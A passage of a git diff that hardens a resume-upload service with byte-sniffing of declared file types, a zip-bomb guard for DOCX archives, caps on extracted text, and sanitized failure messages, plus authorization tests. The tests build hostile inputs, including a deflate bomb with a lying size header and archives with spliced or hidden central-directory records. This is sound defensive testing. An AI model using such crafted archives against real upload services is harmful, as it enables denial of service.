signTestToken({ sub: adminUserId, sid: randomUUID(), org: null, role: null, email: 'admin@example.com' }); memberToken = await signTestToken({ sub: userId, sid: randomUUID(), org: null, role: 'member', email: 'member@example.com' }); + orgOwnerToken = await signTestToken({ sub: orgOwnerUserId, sid: randomUUID(), org: orgId, role: 'owner', email: 'owner@example.com' }); + orgAdminToken = await signTestToken({ sub: orgAdminUserId, sid: randomUUID(), org: orgId, role: 'admin', email: 'orgadmin@example.com' }); }); afterAll(async () => { @@ -118,6 +146,7 @@ describe.skipIf(!testDatabaseUrl)('learning-service', () => { // Cascades to public.users via the auth.users FK. await dbHandle.sql`delete from auth.users where id in (${userId}, ${adminUserId})`; await app.close(); + await appWithoutAllowlist.close(); await broker.close(); await dbHandle.close(); }); @@ -127,6 +156,26 @@ describe.skipIf(!testDatabaseUrl)('learning-service', () => { expect(res.statusCode).toBe(403); }); + it('rejects an org owner who is not on the platform-admin allowlist', async () => { + const res = await app.inject({ method: 'GET', url: '/v1/learning/metrics', headers: { authorization: `Bearer ${orgOwnerToken}` } }); + expect(res.statusCode).toBe(403); + expect(res.json().error.code).toBe('FORBIDDEN'); + // No cross-tenant aggregate (this suite's model version) leaks through the error body. + expect(res.body).not.toContain(modelVersion); + }); + + it('rejects an org admin who is not on the platform-admin allowlist', async () => { + const res = await app.inject({ method: 'GET', url: '/v1/learning/metrics', headers: { authorization: `Bearer ${orgAdminToken}` } }); + expect(res.statusCode).toBe(403); + }); + + it('fails closed: with no allowlist configured, nobody can read metrics (not even the former admin)', async () => { + for (const token of [adminToken, orgOwnerToken, orgAdminToken]) { + const res = await appWithoutAllowlist.inject({ method: 'GET', url: '/v1/learning/metrics', headers: { authorization: `Bearer ${token}` } }); + expect(res.statusCode).toBe(403); + } + }); + it('computes positive lift for a model whose higher scores got applied to', async () => { const res = await app.inject({ method: 'GET', url: '/v1/learning/metrics', headers: { authorization: `Bearer ${adminToken}` } }); expect(res.statusCode).toBe(200); diff --git a/services/profile/src/http/routes/get-resume.ts b/services/profile/src/http/routes/get-resume.ts index 8fdddf5..0088899 100644 --- a/services/profile/src/http/routes/get-resume.ts +++ b/services/profile/src/http/routes/get-resume.ts @@ -1,14 +1,19 @@ import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; import { getActor, requireAuth } from '@atlas/auth-kit'; -import type { ResumeResponse } from '@atlas/types'; +import { uuidSchema, type ResumeResponse } from '@atlas/types'; import { AppError } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; import { findById, toResume } from '../../repo/resumes.js'; +// A malformed id must be a 400 here, not reach Postgres as a uuid cast +// failure (22P02) and surface as a 500. +const paramsSchema = z.object({ id: uuidSchema }); + export function getResumeRoute(app: FastifyInstance, deps: AppDeps): void { app.get('/v1/resumes/:id', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); - const { id } = request.params as { id: string }; + const { id } = paramsSchema.parse(request.params); const resume = await findById(deps.db, id); // Not-found covers "doesn't exist" and "belongs to someone else" alike — diff --git a/services/profile/src/http/routes/upload-resume.ts b/services/profile/src/http/routes/upload-resume.ts index b515829..d209655 100644 --- a/services/profile/src/http/routes/upload-resume.ts +++ b/services/profile/src/http/routes/upload-resume.ts @@ -6,7 +6,7 @@ import { createEvent } from '@atlas/messaging'; import type { AtsReport, CreateResumeResponse, ParsedProfile } from '@atlas/types'; import { AppError, newTraceContext, pgErrorCode } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; -import { extractText } from '../../lib/extract-text.js'; +import { extractText, resumeFailureReason, verifyResumeUpload } from '../../lib/extract-text.js'; import { sha256HexBuffer } from '../../lib/hash.js'; import { findByUserAndHash, insertPending, markFailed, markParsed } from '../../repo/resumes.js'; @@ -40,6 +40,10 @@ export function uploadResumeRoute(app: FastifyInstance, deps: AppDeps): void { sourceSchema.parse(rawSource); const buffer = await data.toBuffer(); + // The multipart `Content-Type` is whatever the client claims. Check it + // against the bytes (and bound DOCX archives) before anything is stored + // or parsed; from here on only the canonical, verified type is used. + const contentType = await verifyResumeUpload(buffer, data.mimetype); const contentHash = sha256HexBuffer(buffer); // Re-uploading the same bytes is a no-op: hand back the existing record @@ -52,7 +56,7 @@ export function uploadResumeRoute(app: FastifyInstance, deps: AppDeps): void { } const storageKey = `resumes/${actor.user_id}/${contentHash}`; - await deps.storage.put(storageKey, buffer, { contentType: data.mimetype }); + await deps.storage.put(storageKey, buffer, { contentType }); let resumeId: string; try { @@ -60,7 +64,7 @@ export function uploadResumeRoute(app: FastifyInstance, deps: AppDeps): void { userId: actor.user_id, storageUrl: storageKey, originalFilename: data.filename, - contentType: data.mimetype, + contentType, byteSize: buffer.length, contentHash, }); @@ -85,7 +89,7 @@ export function uploadResumeRoute(app: FastifyInstance, deps: AppDeps): void { // this pass doesn't otherwise need. let parsed: { profile: ParsedProfile; report: AtsReport } | null = null; try { - const text = await extractText(buffer, data.mimetype); + const text = await extractText(buffer, contentType); const profile = parseResumeText(text); const report = scoreResume(profile, text); await markParsed(deps.db, resumeId, { @@ -96,8 +100,12 @@ export function uploadResumeRoute(app: FastifyInstance, deps: AppDeps): void { }); parsed = { profile, report }; } catch (cause) { - const reason = cause instanceof Error ? cause.message : String(cause); - await markFailed(deps.db, resumeId, reason); + // `failure_reason` is returned to the client, and raw error text can + // carry SQL plus bound parameters (i.e. the resume's own contents) or + // parser internals. Persist a short stable reason; the detail goes to + // the logs, where the logger's `err` serializer scrubs it. + request.log.warn({ err: cause, resumeId }, 'resume parsing failed'); + await markFailed(deps.db, resumeId, resumeFailureReason(cause)); const response: CreateResumeResponse = { resume_id: resumeId, status: 'failed' }; reply.status(201).send(response); return; diff --git a/services/profile/src/lib/extract-text.ts b/services/profile/src/lib/extract-text.ts index 39e67d6..53a591a 100644 --- a/services/profile/src/lib/extract-text.ts +++ b/services/profile/src/lib/extract-text.ts @@ -1,37 +1,307 @@ +import { inflateRaw } from 'node:zlib'; +import { promisify } from 'node:util'; import mammoth from 'mammoth'; import { PDFParse } from 'pdf-parse'; import { AppError } from '@atlas/utils'; +const inflateRawAsync = promisify(inflateRaw); + +const PDF_MIME = 'application/pdf'; const DOCX_MIME = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; +const TEXT_MIME = 'text/plain'; const LEGACY_DOC_MIME = 'application/msword'; -/** Dispatches on the uploaded file's content type. Throws for anything we can't read yet. */ +/** + * Resource caps. Resumes are small; these sit far above any real one and + * exist so a hostile upload (a zip bomb, a million-page PDF, a text file the + * size of the body limit) cannot be used to exhaust CPU, memory, or the + * `resumes.parsed_text` column. + */ +export const MAX_EXTRACTED_TEXT_CHARS = 200_000; +export const MAX_PDF_PAGES = 30; +export const MAX_DOCX_ENTRIES = 1_000; +export const MAX_DOCX_UNCOMPRESSED_BYTES = 30 * 1024 * 1024; + +export type ResumeFormat = 'pdf' | 'docx' | 'text'; + +const FORMAT_BY_MIME: Record = { + [PDF_MIME]: 'pdf', + [DOCX_MIME]: 'docx', + [TEXT_MIME]: 'text', +}; + +const MIME_BY_FORMAT: Record = { + pdf: PDF_MIME, + docx: DOCX_MIME, + text: TEXT_MIME, +}; + +/** `Text/Plain; charset=utf-8` → `text/plain`. */ +function normalizeMime(contentType: string): string { + return (contentType.split(';')[0] ?? '').trim().toLowerCase(); +} + +// --- Content sniffing ------------------------------------------------------- + +/** The PDF spec lets the `%PDF-` header sit anywhere in the first 1024 bytes. */ +const PDF_HEADER_WINDOW = 1024; + +function startsWith(buffer: Uint8Array, signature: readonly number[]): boolean { + return buffer.length >= signature.length && signature.every((byte, index) => buffer[index] === byte); +} + +function hasPdfHeader(buffer: Buffer): boolean { + return buffer.subarray(0, PDF_HEADER_WINDOW).includes('%PDF-', 0, 'latin1'); +} + +/** Local file header (`PK\x03\x04`). Empty (`PK\x05\x06`) and spanned (`PK\x07\x08`) archives are not documents. */ +function hasZipHeader(buffer: Buffer): boolean { + return startsWith(buffer, [0x50, 0x4b, 0x03, 0x04]); +} + +/** Leading bytes of common non-text formats, checked so a binary file can't pass as `text/plain`. */ +const BINARY_SIGNATURES: readonly (readonly number[])[] = [ + [0x25, 0x50, 0x44, 0x46, 0x2d], // %PDF- + [0x50, 0x4b, 0x03, 0x04], // zip / docx / xlsx / jar + [0x50, 0x4b, 0x05, 0x06], // empty zip + [0xd0, 0xcf, 0x11, 0xe0], // OLE2 (legacy .doc / .xls) + [0x89, 0x50, 0x4e, 0x47], // PNG + [0xff, 0xd8, 0xff], // JPEG + [0x47, 0x49, 0x46, 0x38], // GIF + [0x1f, 0x8b], // gzip + [0x7f, 0x45, 0x4c, 0x46], // ELF + [0x4d, 0x5a], // MZ (Windows executables) +]; + +/** Control characters other than tab, LF, FF and CR. */ +function isBinaryControl(byte: number): boolean { + return byte < 0x20 ? byte !== 0x09 && byte !== 0x0a && byte !== 0x0c && byte !== 0x0d : byte === 0x7f; +} + +/** + * Plain-text sniff: no NUL bytes, no known binary signature, and (almost) no + * control characters. Deliberately encoding-agnostic — it only has to tell + * "someone's resume.txt" apart from "a binary wearing a .txt label". + */ +export function looksLikeText(buffer: Buffer): boolean { + if (BINARY_SIGNATURES.some((signature) => startsWith(buffer, signature))) return false; + let controls = 0; + for (const byte of buffer) { + if (byte === 0x00) return false; + if (isBinaryControl(byte)) controls += 1; + } + return controls <= buffer.length * 0.01; +} + +// --- DOCX (zip) bomb guard -------------------------------------------------- + +const EOCD_SIGNATURE = 0x06054b50; +const CENTRAL_HEADER_SIGNATURE = 0x02014b50; +const LOCAL_HEADER_SIGNATURE = 0x04034b50; +const EOCD_MIN_SIZE = 22; +const CENTRAL_HEADER_SIZE = 46; +const LOCAL_HEADER_SIZE = 30; +const ZIP32_MAX = 0xffffffff; + +/** Archives already proven safe, so the route's pre-check and `extractText` don't inflate twice. */ +const verifiedArchives = new WeakSet(); + +function malformedArchive(): AppError { + return new AppError('UNSUPPORTED_MEDIA_TYPE', 'The uploaded file is not a valid DOCX document.'); +} + +function archiveTooLarge(): AppError { + return new AppError('PAYLOAD_TOO_LARGE', 'The uploaded document is too large or complex to process.'); +} + +function findEndOfCentralDirectory(buffer: Buffer): number { + const lowest = Math.max(0, buffer.length - EOCD_MIN_SIZE - 0xffff); + for (let offset = buffer.length - EOCD_MIN_SIZE; offset >= lowest; offset -= 1) { + if (buffer.readUInt32LE(offset) === EOCD_SIGNATURE) return offset; + } + throw malformedArchive(); +} + +/** + * Rejects zip bombs *before* mammoth/JSZip see the file. Header sizes alone + * are not trustworthy (an attacker can under-declare), so every entry is + * actually inflated here with `maxOutputLength` pinned to its declared size: + * an entry that expands beyond what it claims aborts instead of ballooning + * memory. Once an archive passes, JSZip's own inflate is provably bounded by + * {@link MAX_DOCX_UNCOMPRESSED_BYTES}. + * + * Throws 413 for entry-count / size violations and 415 for anything that + * isn't a well-formed zip (encrypted, ZIP64, unknown compression, truncated). + */ +export async function assertSafeDocxArchive(buffer: Buffer): Promise { + if (verifiedArchives.has(buffer)) return; + + const eocd = findEndOfCentralDirectory(buffer); + const entryCount = buffer.readUInt16LE(eocd + 10); + const directorySize = buffer.readUInt32LE(eocd + 12); + const directoryOffset = buffer.readUInt32LE(eocd + 16); + + // 0xffff / 0xffffffff are the ZIP64 "look elsewhere" markers — no resume needs them. + if (entryCount === 0xffff || directorySize === ZIP32_MAX || directoryOffset === ZIP32_MAX) throw archiveTooLarge(); + if (entryCount === 0) throw malformedArchive(); + if (entryCount > MAX_DOCX_ENTRIES) throw archiveTooLarge(); + // Require the central directory to end exactly where the end-of-directory + // record starts. JSZip (via mammoth) re-bases every offset when it sees a + // gap there, so tolerating one would let a file show us one directory and + // JSZip another — the entries we inflate below must be the entries it reads. + if (directoryOffset + directorySize !== eocd) throw malformedArchive(); + + interface Entry { + method: number; + compressedSize: number; + uncompressedSize: number; + localOffset: number; + } + const entries: Entry[] = []; + let declaredTotal = 0; + let cursor = directoryOffset; + for (let index = 0; index < entryCount; index += 1) { + if (cursor + CENTRAL_HEADER_SIZE > eocd || buffer.readUInt32LE(cursor) !== CENTRAL_HEADER_SIGNATURE) { + throw malformedArchive(); + } + const flags = buffer.readUInt16LE(cursor + 8); + const method = buffer.readUInt16LE(cursor + 10); + const compressedSize = buffer.readUInt32LE(cursor + 20); + const uncompressedSize = buffer.readUInt32LE(cursor + 24); + const nameLength = buffer.readUInt16LE(cursor + 28); + const extraLength = buffer.readUInt16LE(cursor + 30); + const commentLength = buffer.readUInt16LE(cursor + 32); + const localOffset = buffer.readUInt32LE(cursor + 42); + + if ((flags & 0x1) !== 0) throw malformedArchive(); // encrypted + if (compressedSize === ZIP32_MAX || uncompressedSize === ZIP32_MAX || localOffset === ZIP32_MAX) { + throw archiveTooLarge(); + } + declaredTotal += uncompressedSize; + if (declaredTotal > MAX_DOCX_UNCOMPRESSED_BYTES) throw archiveTooLarge(); + + entries.push({ method, compressedSize, uncompressedSize, localOffset }); + cursor += CENTRAL_HEADER_SIZE + nameLength + extraLength + commentLength; + } + // Declared entries must account for the whole directory: JSZip reads every + // consecutive central header, not just `entryCount` of them. + if (cursor !== eocd) throw malformedArchive(); + + let actualTotal = 0; + for (const entry of entries) { + if (entry.localOffset + LOCAL_HEADER_SIZE > buffer.length || buffer.readUInt32LE(entry.localOffset) !== LOCAL_HEADER_SIGNATURE) { + throw malformedArchive(); + } + const dataStart = + entry.localOffset + LOCAL_HEADER_SIZE + buffer.readUInt16LE(entry.localOffset + 26) + buffer.readUInt16LE(entry.localOffset + 28); + const dataEnd = dataStart + entry.compressedSize; + if (dataEnd > directoryOffset) throw malformedArchive(); + const data = buffer.subarray(dataStart, dataEnd); + + let actualSize: number; + if (entry.method === 0) { + actualSize = data.length; + } else if (entry.method === 8) { + try { + // Never allow more output than the entry declared (min 1: the option rejects 0). + actualSize = (await inflateRawAsync(data, { maxOutputLength: Math.max(entry.uncompressedSize, 1) })).length; + } catch (cause) { + const code = (cause as { code?: string }).code; + throw code === 'ERR_BUFFER_TOO_LARGE' ? archiveTooLarge() : malformedArchive(); + } + } else { + throw malformedArchive(); // OOXML uses only stored and deflate + } + if (actualSize !== entry.uncompressedSize) throw malformedArchive(); + + actualTotal += actualSize; + if (actualTotal > MAX_DOCX_UNCOMPRESSED_BYTES) throw archiveTooLarge(); + } + + verifiedArchives.add(buffer); +} + +// --- Public API ------------------------------------------------------------- + +/** + * The client-declared multipart `Content-Type` is untrusted: it only picks + * which parser runs, so it must agree with what the bytes really are. Returns + * the canonical MIME type for storage (never the raw client string). Throws: + * - 415 for an unsupported type (including legacy `.doc`) or a type/bytes mismatch, + * - 413 for a DOCX that is a zip bomb. + */ +export async function verifyResumeUpload(buffer: Buffer, declaredContentType: string): Promise { + const mime = normalizeMime(declaredContentType); + + if (mime === LEGACY_DOC_MIME) { + throw new AppError( + 'UNSUPPORTED_MEDIA_TYPE', + 'Legacy .doc files are not supported yet — please upload a PDF, DOCX, or plain-text resume.', + ); + } + + const format = FORMAT_BY_MIME[mime]; + if (!format) { + throw new AppError('UNSUPPORTED_MEDIA_TYPE', 'Unsupported resume file type — please upload a PDF, DOCX, or plain-text resume.'); + } + + const matches = format === 'pdf' ? hasPdfHeader(buffer) : format === 'docx' ? hasZipHeader(buffer) : looksLikeText(buffer); + if (!matches) { + throw new AppError('UNSUPPORTED_MEDIA_TYPE', 'The uploaded file does not match its declared type.'); + } + + if (format === 'docx') await assertSafeDocxArchive(buffer); + return MIME_BY_FORMAT[format]; +} + +/** Bounded, NUL-free text: Postgres `text` rejects NUL bytes and `parsed_text` is sensitive and unbounded otherwise. */ +function finalizeText(text: string): string { + const clean = text.includes('\u0000') ? text.replaceAll('\u0000', '') : text; + return clean.length > MAX_EXTRACTED_TEXT_CHARS ? clean.slice(0, MAX_EXTRACTED_TEXT_CHARS) : clean; +} + +/** + * Dispatches on the uploaded file's content type, after re-verifying it against the bytes + * ({@link verifyResumeUpload}). Throws for anything we can't read yet. + */ export async function extractText(buffer: Buffer, contentType: string): Promise { - if (contentType === 'application/pdf') { + const mime = await verifyResumeUpload(buffer, contentType); + + if (mime === PDF_MIME) { const parser = new PDFParse({ data: buffer }); try { - const result = await parser.getText(); - return result.text; + // A resume is a handful of pages; never walk an arbitrarily long document. + const result = await parser.getText({ first: MAX_PDF_PAGES }); + return finalizeText(result.text); } finally { await parser.destroy(); } } - if (contentType === DOCX_MIME) { + if (mime === DOCX_MIME) { const result = await mammoth.extractRawText({ buffer }); - return result.value; + return finalizeText(result.value); } - if (contentType === 'text/plain') { - return buffer.toString('utf8'); - } + return finalizeText(buffer.toString('utf8')); +} - if (contentType === LEGACY_DOC_MIME) { - throw new AppError( - 'UNSUPPORTED_MEDIA_TYPE', - 'Legacy .doc files are not supported yet — please upload a PDF, DOCX, or plain-text resume.', - ); - } +/** Stable, user-safe `resumes.failure_reason` values — never raw error text (see {@link resumeFailureReason}). */ +export const RESUME_FAILURE_REASONS = { + unsupported: 'This file type is not supported. Please upload a PDF, DOCX, or plain-text resume.', + tooComplex: 'This file is too large or complex to process. Please upload a smaller resume.', + unreadable: 'We could not read this file. Please try exporting it again as a text-based PDF, DOCX, or plain-text resume.', +} as const; - throw new AppError('UNSUPPORTED_MEDIA_TYPE', `Unsupported resume content type: "${contentType}"`); +/** + * Maps whatever a parse attempt threw to one of a few fixed strings. The raw + * error is never persisted or returned: drizzle/driver errors embed the SQL + * and bound parameters (which here would be the resume's own text), and + * parser errors can echo file content. The real error belongs in the logs. + */ +export function resumeFailureReason(cause: unknown): string { + const code = cause instanceof AppError ? cause.code : undefined; + if (code === 'UNSUPPORTED_MEDIA_TYPE') return RESUME_FAILURE_REASONS.unsupported; + if (code === 'PAYLOAD_TOO_LARGE') return RESUME_FAILURE_REASONS.tooComplex; + return RESUME_FAILURE_REASONS.unreadable; } diff --git a/services/profile/test/extract-text.test.ts b/services/profile/test/extract-text.test.ts index 085938f..d74b0c9 100644 --- a/services/profile/test/extract-text.test.ts +++ b/services/profile/test/extract-text.test.ts @@ -1,5 +1,21 @@ import { describe, expect, it } from 'vitest'; -import { extractText } from '../src/lib/extract-text.js'; +import { AppError } from '@atlas/utils'; +import { + assertSafeDocxArchive, + extractText, + looksLikeText, + MAX_DOCX_ENTRIES, + MAX_DOCX_UNCOMPRESSED_BYTES, + MAX_EXTRACTED_TEXT_CHARS, + MAX_PDF_PAGES, + RESUME_FAILURE_REASONS, + resumeFailureReason, + verifyResumeUpload, +} from '../src/lib/extract-text.js'; +import { buildDocx, buildPdf, buildZip } from './fixtures.js'; + +const PDF_MIME = 'application/pdf'; +const DOCX_MIME = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; describe('extractText', () => { it('reads plain text as-is', async () => { @@ -20,3 +36,231 @@ describe('extractText', () => { }); }); }); + +describe('looksLikeText', () => { + it('accepts ordinary UTF-8 and Latin-1 text with tabs and CRLF line endings', () => { + expect(looksLikeText(Buffer.from('Ada Lovelace\r\n\tBackend engineer — résumé\r\n', 'utf8'))).toBe(true); + expect(looksLikeText(Buffer.from('r\xe9sum\xe9\n', 'latin1'))).toBe(true); + }); + + it('rejects NUL bytes, control-character soup, and known binary signatures', () => { + expect(looksLikeText(Buffer.from('hello\u0000world'))).toBe(false); + expect(looksLikeText(Buffer.from([0x01, 0x02, 0x03, 0x04, 0x41, 0x42]))).toBe(false); + expect(looksLikeText(buildPdf(['x']))).toBe(false); + expect(looksLikeText(buildDocx(['x']))).toBe(false); + expect(looksLikeText(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))).toBe(false); + expect(looksLikeText(Buffer.from([0x4d, 0x5a, 0x90, 0x41, 0x42]))).toBe(false); + }); +}); + +describe('verifyResumeUpload', () => { + const pdf = buildPdf(['Hello']); + const docx = buildDocx(['Hello']); + const text = Buffer.from('Ada Lovelace\nBackend engineer.', 'utf8'); + + it('accepts each supported type when the bytes agree, returning the canonical MIME type', async () => { + await expect(verifyResumeUpload(pdf, PDF_MIME)).resolves.toBe(PDF_MIME); + await expect(verifyResumeUpload(docx, DOCX_MIME)).resolves.toBe(DOCX_MIME); + await expect(verifyResumeUpload(text, 'text/plain')).resolves.toBe('text/plain'); + }); + + it('normalizes case and parameters on the declared type', async () => { + await expect(verifyResumeUpload(text, 'Text/Plain; charset=UTF-8')).resolves.toBe('text/plain'); + await expect(verifyResumeUpload(pdf, ' application/PDF ')).resolves.toBe(PDF_MIME); + }); + + it('tolerates a PDF with a few bytes of junk before the header', async () => { + await expect(verifyResumeUpload(Buffer.concat([Buffer.from('\n\n '), pdf]), PDF_MIME)).resolves.toBe(PDF_MIME); + }); + + it.each([ + ['PDF declared, plain text sent', PDF_MIME, Buffer.from('just some text, not a pdf')], + ['PDF declared, DOCX sent', PDF_MIME, docx], + ['PDF declared, empty file', PDF_MIME, Buffer.alloc(0)], + ['DOCX declared, PDF sent', DOCX_MIME, pdf], + ['DOCX declared, plain text sent', DOCX_MIME, text], + ['text declared, PDF sent', 'text/plain', pdf], + ['text declared, DOCX/zip sent', 'text/plain', docx], + ['text declared, NUL-laden binary sent', 'text/plain', Buffer.from([0x00, 0x01, 0x02, 0x03, 0x00, 0xff, 0xfe])], + ['text declared, OLE2 (.doc) sent', 'text/plain', Buffer.from([0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1, 0x1a, 0xe1])], + ])('rejects a mismatch with 415: %s', async (_label, declared, bytes) => { + await expect(verifyResumeUpload(bytes, declared)).rejects.toMatchObject({ + code: 'UNSUPPORTED_MEDIA_TYPE', + statusCode: 415, + }); + }); + + it.each(['application/zip', 'application/octet-stream', 'image/png', 'text/html', ''])( + 'rejects the unsupported declared type "%s" with 415', + async (declared) => { + await expect(verifyResumeUpload(text, declared)).rejects.toMatchObject({ statusCode: 415 }); + }, + ); + + it('keeps the actionable legacy .doc message', async () => { + await expect(verifyResumeUpload(Buffer.from('x'), 'application/msword')).rejects.toMatchObject({ + code: 'UNSUPPORTED_MEDIA_TYPE', + message: expect.stringContaining('.doc'), + }); + }); + + it('does not echo the client-declared type back in the error message', async () => { + const hostile = 'x/'; + const error = await verifyResumeUpload(text, hostile).catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(AppError); + expect((error as AppError).message).not.toContain('script'); + }); +}); + +describe('extractText: DOCX', () => { + it('reads the text of a genuine DOCX', async () => { + const text = await extractText(buildDocx(['Ada Lovelace', 'Backend engineer']), DOCX_MIME); + expect(text).toContain('Ada Lovelace'); + expect(text).toContain('Backend engineer'); + }); + + it('rejects text bytes sent as a DOCX instead of handing them to the zip parser', async () => { + await expect(extractText(Buffer.from('not a zip'), DOCX_MIME)).rejects.toMatchObject({ statusCode: 415 }); + }); +}); + +describe('assertSafeDocxArchive (zip-bomb guard)', () => { + it('accepts an ordinary DOCX, including stored (uncompressed) entries', async () => { + await expect(assertSafeDocxArchive(buildDocx(['hi']))).resolves.toBeUndefined(); + const stored = buildDocx(['hi'], [{ name: 'word/media/a.bin', data: Buffer.from('abc'), method: 0 }]); + await expect(assertSafeDocxArchive(stored)).resolves.toBeUndefined(); + }); + + it('rejects an entry that inflates far beyond the size its header declares (lying header)', async () => { + // 40 MiB of zeros deflates to a few tens of KiB; the header claims 10 bytes. + const bomb = buildDocx(['hi'], [ + { name: 'word/media/bomb.bin', data: Buffer.alloc(40 * 1024 * 1024), declaredUncompressedSize: 10 }, + ]); + expect(bomb.length).toBeLessThan(200 * 1024); + await expect(assertSafeDocxArchive(bomb)).rejects.toMatchObject({ code: 'PAYLOAD_TOO_LARGE', statusCode: 413 }); + }); + + it('rejects an archive whose honestly-declared total exceeds the cap, without inflating it', async () => { + const big = buildDocx(['hi'], [ + { name: 'word/media/big.bin', data: Buffer.from('x'), declaredUncompressedSize: MAX_DOCX_UNCOMPRESSED_BYTES + 1 }, + ]); + await expect(assertSafeDocxArchive(big)).rejects.toMatchObject({ code: 'PAYLOAD_TOO_LARGE' }); + }); + + it('rejects an archive whose real contents exceed the cap across many entries', async () => { + // Each entry is honest and individually modest; only the sum is too big. + const chunk = Buffer.alloc(8 * 1024 * 1024); + const entries = Array.from({ length: 4 }, (_, index) => ({ name: `word/media/chunk${index}.bin`, data: chunk })); + await expect(assertSafeDocxArchive(buildDocx(['hi'], entries))).rejects.toMatchObject({ code: 'PAYLOAD_TOO_LARGE' }); + }); + + it('rejects an archive with too many entries', async () => { + const entries = Array.from({ length: MAX_DOCX_ENTRIES + 1 }, (_, index) => ({ + name: `word/media/f${index}.txt`, + data: Buffer.from('x'), + method: 0 as const, + })); + await expect(assertSafeDocxArchive(buildZip(entries))).rejects.toMatchObject({ code: 'PAYLOAD_TOO_LARGE' }); + }); + + it('rejects encrypted entries and an entry whose data disagrees with its declared size', async () => { + await expect( + assertSafeDocxArchive(buildZip([{ name: 'word/document.xml', data: Buffer.from(''), encrypted: true }])), + ).rejects.toMatchObject({ statusCode: 415 }); + + // Declares more than the stream really holds. + await expect( + assertSafeDocxArchive(buildZip([{ name: 'word/document.xml', data: Buffer.from(''), declaredUncompressedSize: 50 }])), + ).rejects.toMatchObject({ statusCode: 415 }); + }); + + it('rejects a compression method other than stored/deflate', async () => { + const unknownMethod = buildZip([{ name: 'word/document.xml', data: Buffer.from(''), method: 0 }]); + // Patch both the local and central headers' compression method to 12 (bzip2). + unknownMethod.writeUInt16LE(12, 8); + const centralAt = unknownMethod.indexOf(Buffer.from([0x50, 0x4b, 0x01, 0x02])); + unknownMethod.writeUInt16LE(12, centralAt + 10); + await expect(assertSafeDocxArchive(unknownMethod)).rejects.toMatchObject({ statusCode: 415 }); + }); + + it('rejects garbage that merely starts with the zip signature, and truncated archives', async () => { + const garbage = Buffer.concat([Buffer.from([0x50, 0x4b, 0x03, 0x04]), Buffer.alloc(100, 7)]); + await expect(assertSafeDocxArchive(garbage)).rejects.toMatchObject({ statusCode: 415 }); + const real = buildDocx(['hi']); + await expect(assertSafeDocxArchive(real.subarray(0, real.length - 10))).rejects.toMatchObject({ statusCode: 415 }); + }); + + it('rejects a directory that does not end exactly at the end-of-directory record (offset-rebasing trick)', async () => { + const real = buildDocx(['hi']); + const eocdAt = real.length - 22; + // Slip 8 junk bytes between the central directory and the EOCD. + const gapped = Buffer.concat([real.subarray(0, eocdAt), Buffer.alloc(8), real.subarray(eocdAt)]); + await expect(assertSafeDocxArchive(gapped)).rejects.toMatchObject({ statusCode: 415 }); + }); + + it('rejects hidden extra central-directory records beyond the declared entry count', async () => { + const real = buildDocx(['hi']); + const eocdAt = real.length - 22; + const centralAt = real.indexOf(Buffer.from([0x50, 0x4b, 0x01, 0x02])); + const firstRecord = real.subarray(centralAt, centralAt + 46 + '[Content_Types].xml'.length); + // Splice a duplicate record into the directory but leave the declared count/size alone. + const withExtra = Buffer.concat([real.subarray(0, eocdAt), firstRecord, real.subarray(eocdAt)]); + await expect(assertSafeDocxArchive(withExtra)).rejects.toMatchObject({ statusCode: 415 }); + }); +}); + +describe('extractText: output caps', () => { + it('truncates extracted plain text at the cap', async () => { + const huge = Buffer.from('a'.repeat(MAX_EXTRACTED_TEXT_CHARS + 5_000), 'utf8'); + const text = await extractText(huge, 'text/plain'); + expect(text).toHaveLength(MAX_EXTRACTED_TEXT_CHARS); + }); + + it('truncates DOCX text at the cap too', async () => { + const line = 'x'.repeat(1_000); + const lines = Array.from({ length: Math.ceil(MAX_EXTRACTED_TEXT_CHARS / 1_000) + 20 }, () => line); + const text = await extractText(buildDocx(lines), DOCX_MIME); + expect(text).toHaveLength(MAX_EXTRACTED_TEXT_CHARS); + }); + + it('strips NUL characters that Postgres text columns cannot store', async () => { + const text = await extractText(buildDocx([`before${String.fromCharCode(0)}after`]), DOCX_MIME); + expect(text).toContain('beforeafter'); + expect(text).not.toContain('\u0000'); + }); +}); + +describe('extractText: PDF', () => { + it('reads the text of a PDF', async () => { + const text = await extractText(buildPdf(['Ada Lovelace Backend Engineer']), PDF_MIME); + expect(text).toContain('Ada Lovelace Backend Engineer'); + }); + + it('only reads the first MAX_PDF_PAGES pages of a long document', async () => { + const mark = (page: number) => `PAGEMARK${String(page).padStart(3, '0')}`; + const pages = Array.from({ length: MAX_PDF_PAGES + 10 }, (_, index) => mark(index + 1)); + const text = await extractText(buildPdf(pages), PDF_MIME); + expect(text).toContain(mark(MAX_PDF_PAGES)); + expect(text).not.toContain(mark(MAX_PDF_PAGES + 1)); + }); +}); + +describe('resumeFailureReason', () => { + it('maps every failure to one of a few fixed, user-safe strings', () => { + expect(resumeFailureReason(new AppError('UNSUPPORTED_MEDIA_TYPE', 'x'))).toBe(RESUME_FAILURE_REASONS.unsupported); + expect(resumeFailureReason(new AppError('PAYLOAD_TOO_LARGE', 'x'))).toBe(RESUME_FAILURE_REASONS.tooComplex); + expect(resumeFailureReason(new Error('anything else'))).toBe(RESUME_FAILURE_REASONS.unreadable); + expect(resumeFailureReason('a thrown string')).toBe(RESUME_FAILURE_REASONS.unreadable); + expect(resumeFailureReason(undefined)).toBe(RESUME_FAILURE_REASONS.unreadable); + }); + + it('never carries SQL, bound parameters, or other raw error text through', () => { + const drizzleLike = Object.assign( + new Error('Failed query: update "resumes" set "parsed_text" = $1 where "resume_id" = $2\nparams: SECRET RESUME BODY,abc'), + { query: 'update ...', params: ['SECRET RESUME BODY', 'abc'] }, + ); + const reason = resumeFailureReason(drizzleLike); + expect(reason).not.toMatch(/SECRET|Failed query|params|update/i); + expect(Object.values(RESUME_FAILURE_REASONS)).toContain(reason); + }); +}); diff --git a/services/profile/test/fixtures.ts b/services/profile/test/fixtures.ts new file mode 100644 index 0000000..e8d674a --- /dev/null +++ b/services/profile/test/fixtures.ts @@ -0,0 +1,134 @@ +import { crc32, deflateRawSync } from 'node:zlib'; + +/** + * Hand-rolled file builders for the upload-hardening 